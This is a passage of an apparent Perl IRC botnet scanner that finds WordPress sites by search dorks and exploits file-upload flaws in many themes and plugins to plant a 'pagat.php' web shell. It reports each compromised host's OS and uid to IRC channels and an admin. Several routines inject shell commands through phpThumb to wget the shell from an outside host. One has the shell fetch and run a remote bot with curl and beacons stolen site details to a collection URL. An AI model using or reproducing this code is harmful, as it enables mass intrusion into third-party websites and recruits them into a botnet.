=~ /Pagat - Shell/) { my $safe = ""; my $os = ""; my $uid = ""; if ($cekap =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($cekap =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($cekap =~ /uid=(.*?)gid=/){$uid=$1;} &msg("$chan","$charcoallogo4TARGET1 12SEND 3TO 13$nick selamat bang... ^_^ 4<9=4>"); &msg("$admin","$charcoallogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$chan","$charcoallogo15$engine 4<9=4>4 sukses cuy 4<9=4>12 (SafeMode=$safe) (OS=$os) uid=$uid "); if ($nick eq $admin) { } else { &msg("$nick","$charcoallogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$admin","$charcoallogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); } } } } sub valums_exploit() { my ($chan,$bug,$nick,$dork,$engine) = @_; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$valumslogo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("$chan","$valumslogo4$engine 12Finished 3for 12$dork "); } my $liat = "http://".$site."xmlrpc.php"; my $cek = &get_content($liat); if ($cek =~ m/XML-RPC server accepts POST requests only/g) { &sx7($site,$chan,$nick,$engine); } } } } sub sx7() { my ($site,$chan,$nick,$engine) = @_; $test = "http://".$site; $nyoba = &get_content($test);sleep(7); if ($nyoba =~ /\/wp-content\/themes\/(.*?)\//i) { $theme = $1; } my $kirim = "http://".$site."wp-content/themes/".$theme."/functions/jwpanel/scripts/valums_uploader/php.php"; my $ua = LWP::UserAgent->new; $ua->timeout(10); my $exploit = $ua->post($kirim, ['qqfile' => ['pagat.php']],'Content-Type' => 'form-data'); my $check = $ua->get("http://".$site."wp-content/uploads/2017/05/pagat.php")->content; if($check =~/<br>/) { my $test = "http://".$site."wp-content/uploads/2017/05/pagat.php"; my $cekap = &get_content($test); if ($cekap =~ /Pagat - Shell/) { my $safe = ""; my $os = ""; my $uid = ""; if ($cekap =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($cekap =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($cekap =~ /uid=(.*?)gid=/){$uid=$1;} &msg("$chan","$valumslogo4TARGET1 12SEND 3TO 13$nick selamat bang... ^_^ 4<9=4>"); &msg("$admin","$valumslogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$chan","$valumslogo15$engine 4<9=4>4 sukses cuy 4<9=4>12 (SafeMode=$safe) (OS=$os) uid=$uid "); if ($nick eq $admin) { } else { &msg("$nick","$valumslogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$admin","$valumslogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); } } } } sub themify_exploit() { my ($chan,$bug,$nick,$dork,$engine) = @_; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$themifylogo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("$chan","$themifylogo4$engine 9Finished 3for 9$dork "); } my $liat = "http://".$site."/xmlrpc.php"; my $cek = &get_content($liat); if ($cek =~ m/XML-RPC server accepts POST requests only/g) { &sx95($site,$chan,$engine); } } } } sub sx95() { my ($site,$chan,$engine) = @_; $test = "http://".$site; $nyoba = &get_content($test);sleep(7); if ($nyoba =~ /\/wp-content\/themes\/(.*?)\//i) { $theme = $1; } my $kirim = "http://".$site."wp-content/themes/".$theme."/themify/themify-ajax.php"; my $ua = LWP::UserAgent->new; $ua->timeout(10); my $exploit = $ua->post($kirim."?upload=1", ['Filedata' => ['pagat.php']],'Content-Type' => 'form-data'); my $check = $ua->get("http://".$site."wp-content/themes/".$theme."/uploads/pagat.php")->content; if($check =~/<br>/) { my $test = "http://".$site."wp-content/themes/".$theme."/uploads/pagat.php"; my $cekap = &get_content($test); if ($cekap =~ /Pagat - Shell/) { my $safe = ""; my $os = ""; my $uid = ""; if ($cekap =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($cekap =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($cekap =~ /uid=(.*?)gid=/){$uid=$1;} &msg("$chan","$themifylogo4TARGET1 12SEND 3TO 13$nick selamat bang... ^_^ 4<9=4>"); &msg("$admin","$themifylogo15$engine 4<9=4>9 Simple sHeLL 4<9=4>9 $test15 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$chan","$themifylogo15$engine 4<9=4>9 Simple sHeLL 4<9=4>9 (SafeMode=$safe) (OS=$os) uid=$uid "); if ($nick eq $admin) { } else { &msg("$nick","$themifylogo15$engine 4<9=4>9 sHeLL 4<9=4>9 ".$test."15 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$admin","$themifylogo15$engine 4<9=4>9 sHeLL 4<9=4>9 ".$test."15 (SafeMode=$safe) (OS=$os) uid=$uid "); } } } } sub dm_exploit() { my ($chan,$bug,$nick,$dork,$engine) = @_; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$dmlogo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("$chan","$dmlogo4$engine 9Finished 3for 9$dork "); } my $liat = "http://".$site."/wp-content/plugins/downloads-manager/readme.txt"; my $cek = &get_content($liat); if ($cek =~ m/Downloads Manager/g) { &msg("$chan","$dmlogo5$engine 9e3x9p3l9o3i9t3i9n3g 4http://$site"); &sx28($site,$chan,$nick,$engine); } } } } sub sx28() { my ($site,$chan,$nick,$engine) = @_; $test = "http://".$site; $nyoba = &get_content($test);sleep(7); if ($nyoba =~ /\/wp-content\/plugins\/(.*?)\//i) { $plugins = $1; } my $kirim = "http://".$site; my $ua = LWP::UserAgent->new; $ua->timeout(10); my $exploit = $ua->post($kirim, Content_Type => 'multipart/form-data', Content => [upfile => ["pagat.php"], dm_upload => '',]); my $check = $ua->get("http://".$site."wp-content/plugins/downloads-manager/upload/pagat.php")->content; if($check =~/<br>/) { my $test = "http://".$site."wp-content/plugins/downloads-manager/upload/pagat.php"; my $cekap = &get_content($test); if ($cekap =~ /Pagat - Shell/) { my $safe = ""; my $os = ""; my $uid = ""; if ($cekap =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($cekap =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($cekap =~ /uid=(.*?)gid=/){$uid=$1;} &msg("$chan","$dmlogo4TARGET1 12SEND 3TO 13$nick selamat bang... ^_^ 4<9=4>"); &msg("$admin","$dmlogo15$engine 4<9=4>9 Simple sHeLL 4<9=4>9 $test15 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$chan","$dmlogo15$engine 4<9=4>9 Simple sHeLL 4<9=4>9 (SafeMode=$safe) (OS=$os) uid=$uid "); if ($nick eq $admin) { } else { &msg("$nick","$dmlogo15$engine 4<9=4>9 sHeLL 4<9=4>9 ".$test."15 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$admin","$dmlogo15$engine 4<9=4>9 sHeLL 4<9=4>9 ".$test."15 (SafeMode=$safe) (OS=$os) uid=$uid "); } } } } sub valums2_exploit() { my ($chan,$bug,$nick,$dork,$engine) = @_; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$valums2logo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("$chan","$valums2logo4$engine 12Finished 3for 12$dork "); } my $liat = "http://".$site."xmlrpc.php"; my $cek = &get_content($liat); if ($cek =~ m/XML-RPC server accepts POST requests only/g) { &sx14($site,$chan,$nick,$engine); } } } } sub sx14() { my ($site,$chan,$nick,$engine) = @_; $test = "http://".$site; $nyoba = &get_content($test);sleep(7); if ($nyoba =~ /\/wp-content\/themes\/(.*?)\//i) { $theme = $1; } my $kirim = "http://".$site."wp-content/themes/".$theme."/framework/_scripts/valums_uploader/php.php"; my $ua = LWP::UserAgent->new; $ua->timeout(10); my $exploit = $ua->post($kirim, ['qqfile' => ['pagat.php']],'Content-Type' => 'form-data'); my $check = $ua->get("http://".$site."wp-content/uploads/2017/05/pagat.php")->content; if($check =~/<br>/) { my $test = "http://".$site."wp-content/uploads/2017/05/pagat.php"; my $cekap = &get_content($test); if ($cekap =~ /Pagat - Shell/) { my $safe = ""; my $os = ""; my $uid = ""; if ($cekap =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($cekap =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($cekap =~ /uid=(.*?)gid=/){$uid=$1;} &msg("$chan","$valums2logo4TARGET1 12SEND 3TO 13$nick selamat bang... ^_^ 4<9=4>"); &msg("$admin","$valums2logo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$chan","$valums2logo15$engine 4<9=4>4 sukses cuy 4<9=4>12 (SafeMode=$safe) (OS=$os) uid=$uid "); if ($nick eq $admin) { } else { &msg("$nick","$valums2logo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$admin","$valums2logo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); } } } } sub satoshi_exploit() { my ($chan,$bug,$nick,$dork,$engine) = @_; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$satoshilogo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("$chan","$satoshilogo4$engine 12Finished 3for 12$dork "); } my $liat = "http://".$site."xmlrpc.php"; my $cek = &get_content($liat); if ($cek =~ m/XML-RPC server accepts POST requests only/g) { &sx8($site,$chan,$nick,$engine); } } } } sub sx8() { my ($site,$chan,$nick,$engine) = @_; $test = "http://".$site; $nyoba = &get_content($test);sleep(7); if ($nyoba =~ /\/wp-content\/themes\/(.*?)\//i) { $theme = $1; } my $kirim = "http://".$site."wp-content/themes/satoshi/upload-file.php"; my $ua = LWP::UserAgent->new; $ua->timeout(10); my $exploit = $ua->post($kirim, ['uploadfile' => ['pagat.php']],'Content-Type' => 'form-data'); my $check = $ua->get("http://".$site."wp-content/themes/satoshi/images/pagat.php")->content; if($check =~/<br>/) { my $test = "http://".$site."wp-content/themes/satoshi/images/pagat.php"; my $cekap = &get_content($test); if ($cekap =~ /Pagat - Shell/) { my $safe = ""; my $os = ""; my $uid = ""; if ($cekap =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($cekap =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($cekap =~ /uid=(.*?)gid=/){$uid=$1;} &msg("$chan","$satoshilogo4TARGET1 12SEND 3TO 13$nick selamat bang... ^_^ 4<9=4>"); &msg("$admin","$satoshilogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$chan","$satoshilogo15$engine 4<9=4>4 sukses cuy 4<9=4>12 (SafeMode=$safe) (OS=$os) uid=$uid "); if ($nick eq $admin) { } else { &msg("$nick","$satoshilogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$admin","$satoshilogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); } } } } sub evolve_exploit() { my ($chan,$bug,$nick,$dork,$engine) = @_; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$evolvelogo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("$chan","$evolvelogo4$engine 12Finished 3for 12$dork "); } my $liat = "http://".$site."xmlrpc.php"; my $cek = &get_content($liat); if ($cek =~ m/XML-RPC server accepts POST requests only/g) { &sx9($site,$chan,$nick,$engine); } } } } sub sx9() { my ($site,$chan,$nick,$engine) = @_; $test = "http://".$site; $nyoba = &get_content($test);sleep(7); if ($nyoba =~ /\/wp-content\/themes\/(.*?)\//i) { $theme = $1; } my $kirim = "http://".$site."wp-content/themes/evolve/js/back-end/libraries/fileuploader/upload_handler.php"; my $ua = LWP::UserAgent->new; $ua->timeout(10); my $exploit = $ua->post($kirim, ['qqfile' => ['pagat.php']],'Content-Type' => 'form-data'); my $check = $ua->get("http://".$site."wp-content/uploads/2017/02/pagat.php")->content; if($check =~/<br>/) { my $test = "http://".$site."wp-content/uploads/2017/02/pagat.php"; my $cekap = &get_content($test); if ($cekap =~ /Pagat - Shell/) { my $safe = ""; my $os = ""; my $uid = ""; if ($cekap =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($cekap =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($cekap =~ /uid=(.*?)gid=/){$uid=$1;} &msg("$chan","$evolvelogo4TARGET1 12SEND 3TO 13$nick selamat bang... ^_^ 4<9=4>"); &msg("$admin","$evolvelogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$chan","$evolvelogo15$engine 4<9=4>4 sukses cuy 4<9=4>12 (SafeMode=$safe) (OS=$os) uid=$uid "); if ($nick eq $admin) { } else { &msg("$nick","$evolvelogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$admin","$evolvelogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); } } } } sub village_exploit() { my ($chan,$bug,$nick,$dork,$engine) = @_; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$villagelogo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("$chan","$villagelogo4$engine 12Finished 3for 12$dork "); } my $liat = "http://".$site."xmlrpc.php"; my $cek = &get_content($liat); if ($cek =~ m/XML-RPC server accepts POST requests only/g) { &sx10($site,$chan,$nick,$engine); } } } } sub sx10() { my ($site,$chan,$nick,$engine) = @_; $test = "http://".$site; $nyoba = &get_content($test);sleep(7); if ($nyoba =~ /\/wp-content\/themes\/(.*?)\//i) { $theme = $1; } my $kirim = "http://".$site."wp-content/themes/".$theme."/blueprint/gallery/ajaxupload/server/php.php"; my $ua = LWP::UserAgent->new; $ua->timeout(10); my $exploit = $ua->post($kirim, ['qqfile' => ['pagat.php']],'Content-Type' => 'form-data'); my $check = $ua->get("http://".$site."wp-content/themes/".$theme."/blueprint/gallery/ajaxupload/server/uploads/pagat.php")->content; if($check =~/<br>/) { my $test = "http://".$site."wp-content/themes/".$theme."/blueprint/gallery/ajaxupload/server/uploads/pagat.php"; my $cekap = &get_content($test); if ($cekap =~ /Pagat - Shell/) { my $safe = ""; my $os = ""; my $uid = ""; if ($cekap =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($cekap =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($cekap =~ /uid=(.*?)gid=/){$uid=$1;} &msg("$chan","$villagelogo4TARGET1 12SEND 3TO 13$nick selamat bang... ^_^ 4<9=4>"); &msg("$admin","$villagelogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$chan","$villagelogo15$engine 4<9=4>4 sukses cuy 4<9=4>12 (SafeMode=$safe) (OS=$os) uid=$uid "); if ($nick eq $admin) { } else { &msg("$nick","$villagelogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$admin","$villagelogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); } } } } sub event_exploit() { my ($chan,$bug,$nick,$dork,$engine) = @_; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$eventlogo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("$chan","$eventlogo4$engine 12Finished 3for 12$dork "); } my $liat = "http://".$site."xmlrpc.php"; my $cek = &get_content($liat); if ($cek =~ m/XML-RPC server accepts POST requests only/g) { &sx2091($site,$chan,$nick,$engine); } } } } sub sx2091() { my ($site,$chan,$nick,$engine) = @_; $test = "http://".$site; $nyoba = &get_content($test);sleep(7); if ($nyoba =~ /\/wp-content\/themes\/(.*?)\//i) { $theme = $1; } my $kirim = "http://".$site."wp-content/plugins/all-in-one-event-calendar/lib/theme/file/php.php"; my $ua = LWP::UserAgent->new; $ua->timeout(10); my $exploit = $ua->post($kirim, ['qqfile' => ['pagat.php']],'Content-Type' => 'form-data'); my $check = $ua->get("http://".$site."wp-content/plugins/all-in-one-event-calendar/lib/upload/pagat.php")->content; if($check =~/<br>/) { my $test = "http://".$site."wp-content/plugins/all-in-one-event-calendar/lib/upload/pagat.php"; my $cekap = &get_content($test); if ($cekap =~ /Pagat - Shell/) { my $safe = ""; my $os = ""; my $uid = ""; if ($cekap =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($cekap =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($cekap =~ /uid=(.*?)gid=/){$uid=$1;} &msg("$chan","$eventlogo4TARGET1 12SEND 3TO 13$nick selamat bang... ^_^ 4<9=4>"); &msg("$admin","$eventlogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$chan","$eventlogo15$engine 4<9=4>4 sukses cuy 4<9=4>12 (SafeMode=$safe) (OS=$os) uid=$uid "); if ($nick eq $admin) { } else { &msg("$nick","$eventlogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$admin","$eventlogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); } } } } sub amplus_exploit() { my ($chan,$bug,$nick,$dork,$engine) = @_; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$ampluslogo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("$chan","$ampluslogo4$engine 12Finished 3for 12$dork "); } my $liat = "http://".$site."xmlrpc.php"; my $cek = &get_content($liat); if ($cek =~ m/XML-RPC server accepts POST requests only/g) { &sx11($site,$chan,$nick,$engine); } } } } sub sx11() { my ($site,$chan,$nick,$engine) = @_; $test = "http://".$site; $nyoba = &get_content($test);sleep(7); if ($nyoba =~ /\/wp-content\/themes\/(.*?)\//i) { $theme = $1; } my $kirim = "http://".$site."wp-content/themes/".$theme."/functions/upload-handler.php"; my $ua = LWP::UserAgent->new; $ua->timeout(10); my $exploit = $ua->post($kirim, ['uploadfile' => ['pagat.php']],'Content-Type' => 'form-data'); my $check = $ua->get("http://".$site."wp-content/uploads/2017/11/pagat.php")->content; if($check =~/<br>/) { my $test = "http://".$site."wp-content/uploads/2017/11/pagat.php"; my $cekap = &get_content($test); if ($cekap =~ /Pagat - Shell/) { my $safe = ""; my $os = ""; my $uid = ""; if ($cekap =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($cekap =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($cekap =~ /uid=(.*?)gid=/){$uid=$1;} &msg("$chan","$ampluslogo4TARGET1 12SEND 3TO 13$nick selamat bang... ^_^ 4<9=4>"); &msg("$admin","$ampluslogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$chan","$ampluslogo15$engine 4<9=4>4 sukses cuy 4<9=4>12 (SafeMode=$safe) (OS=$os) uid=$uid "); if ($nick eq $admin) { } else { &msg("$nick","$ampluslogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$admin","$ampluslogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$chan","$ampluslogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); } } } } sub cameleon_exploit() { my ($chan,$bug,$nick,$dork,$engine) = @_; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$cameleonlogo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("$chan","$cameleonlogo4$engine 12Finished 3for 12$dork "); } my $liat = "http://".$site."xmlrpc.php"; my $cek = &get_content($liat); if ($cek =~ m/XML-RPC server accepts POST requests only/g) { &sx12($site,$chan,$nick,$engine); } } } } sub sx12() { my ($site,$chan,$nick,$engine) = @_; $test = "http://".$site; $nyoba = &get_content($test);sleep(7); if ($nyoba =~ /\/wp-content\/themes\/(.*?)\//i) { $theme = $1; } my $kirim = "http://".$site."wp-content/themes/".$theme."/includes/fileuploader/upload_handler.php"; my $ua = LWP::UserAgent->new; $ua->timeout(10); my $exploit = $ua->post($kirim, [ 'qqfile' => ['pagat.php']],'Content-Type' => 'form-data'); my $check = $ua->get("http://".$site."wp-content/uploads/2017/02/pagat.php")->content; if($check =~/<br>/) { my $test = "http://".$site."wp-content/uploads/2017/02/pagat.php"; my $cekap = &get_content($test); if ($cekap =~ /Pagat - Shell/) { my $safe = ""; my $os = ""; my $uid = ""; if ($cekap =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($cekap =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($cekap =~ /uid=(.*?)gid=/){$uid=$1;} &msg("$chan","$cameleonlogo4TARGET1 12SEND 3TO 13$nick selamat bang... ^_^ 4<9=4>"); &msg("$admin","$cameleonlogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$chan","$cameleonlogo15$engine 4<9=4>4 sukses cuy 4<9=4>12 (SafeMode=$safe) (OS=$os) uid=$uid "); if ($nick eq $admin) { } else { &msg("$nick","$cameleonlogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$admin","$cameleonlogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); } } } } sub testing_exploit() { my ($chan,$bug,$nick,$dork,$engine) = @_; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$testinglogo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("$chan","$testinglogo4$engine 12Finished 3for 12$dork "); } my $liat = "http://".$site."xmlrpc.php"; my $cek = &get_content($liat); if ($cek =~ m/XML-RPC server accepts POST requests only/g) { &sx13($site,$chan,$nick,$engine); } } } } sub sx13() { my ($site,$chan,$nick,$engine) = @_; $test = "http://".$site; $nyoba = &get_content($test);sleep(7); if ($nyoba =~ /\/wp-content\/themes\/(.*?)\//i) { $theme = $1; } my $kirim = "http://".$site."wp-content/themes/".$theme."/theme/functions/uploadbg.php"; my $ua = LWP::UserAgent->new; $ua->timeout(10); my $exploit = $ua->post($kirim, ['uploadfile' => ['pagat.php']],'Content-Type' => 'form-data'); my $check = $ua->get("http://".$site."wp-content/themes/$theme./theme/functions/pagat.php")->content; if($check =~/<br>/) { my $test = "http://".$site."wp-content/themes/$theme./theme/functions/pagat.php"; my $cekap = &get_content($test); if ($cekap =~ /Pagat - Shell/) { my $safe = ""; my $os = ""; my $uid = ""; if ($cekap =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($cekap =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($cekap =~ /uid=(.*?)gid=/){$uid=$1;} &msg("$chan","$testinglogo4TARGET1 12SEND 3TO 13$nick selamat bang... ^_^ 4<9=4>"); &msg("$admin","$testinglogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$chan","$testinglogo15$engine 4<9=4>4 sukses cuy 4<9=4>12 (SafeMode=$safe) (OS=$os) uid=$uid "); if ($nick eq $admin) { } else { &msg("$nick","$testinglogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$admin","$testinglogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); } } } } sub comfy_exploit() { my ($chan,$bug,$nick,$dork,$engine) = @_; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$comfylogo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("$chan","$comfylogo4$engine 12Finished 3for 12$dork "); } my $liat = "http://".$site."xmlrpc.php"; my $cek = &get_content($liat); if ($cek =~ m/XML-RPC server accepts POST requests only/g) { &sx15($site,$chan,$nick,$engine); } } } } sub sx15() { my ($site,$chan,$nick,$engine) = @_; $test = "http://".$site; $nyoba = &get_content($test);sleep(7); if ($nyoba =~ /\/wp-content\/themes\/(.*?)\//i) { $theme = $1; } my $agent = LWP::UserAgent->new(); $agent->agent('Mozilla/5.0 (X11; Linux i686; rv:14.0) Gecko/20100101Firefox/14.0.1'); my $shell = "wget http://www.aycempresarial.com/mambots/pagat.txt -O pagat.txt"; my $website = "http://".$site."wp-content/themes/".$theme."/scripts/phpThumb/phpThumb.php?src=file.jpg&fltr[]=blur|9 -quality 75 -interlace line fail.jpg jpeg:fail.jpg ; $shell ; &phpThumbDebug=9"; my $request = $agent->request(HTTP::Request->new(GET=>$website)); my $cwebsite = "http://".$site."wp-content/themes/".$theme."/scripts/phpThumb/pagat.txt"; my $creq = $agent->request(HTTP::Request->new(GET=>$cwebsite)); if ($creq->is_success) { my $mvwebsite = "http://".$site."wp-content/themes/".$theme."/scripts/phpThumb/phpThumb.php?src=file.jpg&fltr[]=blur|9 -quality 75 -interlace line fail.jpg jpeg:fail.jpg ; mv pagat.txt pagat.php ; &phpThumbDebug=9"; my $mvreq = $agent->request(HTTP::Request->new(GET=>$mvwebsite)); my $cwebsite = "http://".$site."wp-content/themes/".$theme."/scripts/phpThumb/pagat.php"; my $c2req = $agent->request(HTTP::Request->new(GET=>$cwebsite)); my $checker = &get_content($cwebsite."?shell"); sleep(2); if ($checker =~ /Pagat - Shell/) { &get_content($shell."?cmd=curl+-C+-+-O+".$botxx."%3Bperl+bot.txt%3Brm+bot.tx"); my $safe = ""; my $os = ""; my $uid = ""; if ($checker =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($checker =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($checker =~ /uid=(.*?)gid=/){$uid=$1;} my $server = encode_base64($os); my $sender = $botz."?site=".$site."&server=".$server."&shell=".$cwebsite."&exploit=comfy"; &get_content($sender); &msg("$admin","$comfylogo15$engine 12<4=12>7 sHeLL 12<4=12>4 $cwebsite12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$nick","$comfylogo15$engine 12<4=12>7 sHeLL 12<4=12>4 $cwebsite12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$chan","$comfylogo $engine 12sHeLL send to 14<12=14>12$nick Selamatt Yaaa... ^_^ 4 (SafeMode=$safe) (OS=$os) uid=$uid "); } } } sub sempak_exploit() { my ($chan,$bug,$nick,$dork,$engine) = @_; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$sempaklogo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("$chan","$sempaklogo4$engine 12Finished 3for 12$dork "); } my $liat = "http://".$site."xmlrpc.php"; my $cek = &get_content($liat); if ($cek =~ m/XML-RPC server accepts POST requests only/g) { &sx569($site,$chan,$nick,$engine); } } } } sub sx569() { my ($site,$chan,$nick,$engine) = @_; $test = "http://".$site; $nyoba = &get_content($test);sleep(7); if ($nyoba =~ /\/wp-content\/themes\/(.*?)\//i) { $theme = $1; } my $agent = LWP::UserAgent->new(); $agent->agent('Mozilla/5.0 (X11; Linux i686; rv:14.0) Gecko/20100101Firefox/14.0.1'); my $shell = "wget http://www.aycempresarial.com/mambots/pagat.txt -O pagat.txt"; my $website = "http://".$site."wp-content/themes/".$theme."/includes/phpthumb/phpThumb.php?src=file.jpg&fltr[]=blur|9 -quality 75 -interlace line fail.jpg jpeg:fail.jpg ; $shell ; &phpThumbDebug=9"; my $request = $agent->request(HTTP::Request->new(GET=>$website)); my $cwebsite = "http://".$site."wp-content/themes/".$theme."/includes/phpthumb/pagat.txt"; my $creq = $agent->request(HTTP::Request->new(GET=>$cwebsite)); if ($creq->is_success) { my $mvwebsite = "http://".$site."wp-content/themes/".$theme."/includes/phpthumb/phpThumb.php?src=file.jpg&fltr[]=blur|9 -quality 75 -interlace line fail.jpg jpeg:fail.jpg ; mv pagat.txt pagat.php ; &phpThumbDebug=9"; my $mvreq = $agent->request(HTTP::Request->new(GET=>$mvwebsite)); my $cwebsite = "http://".$site."wp-content/themes/".$theme."/includes/phpthumb/pagat.php"; my $c2req = $agent->request(HTTP::Request->new(GET=>$cwebsite)); my $checker = &get_content($cwebsite."?shell"); 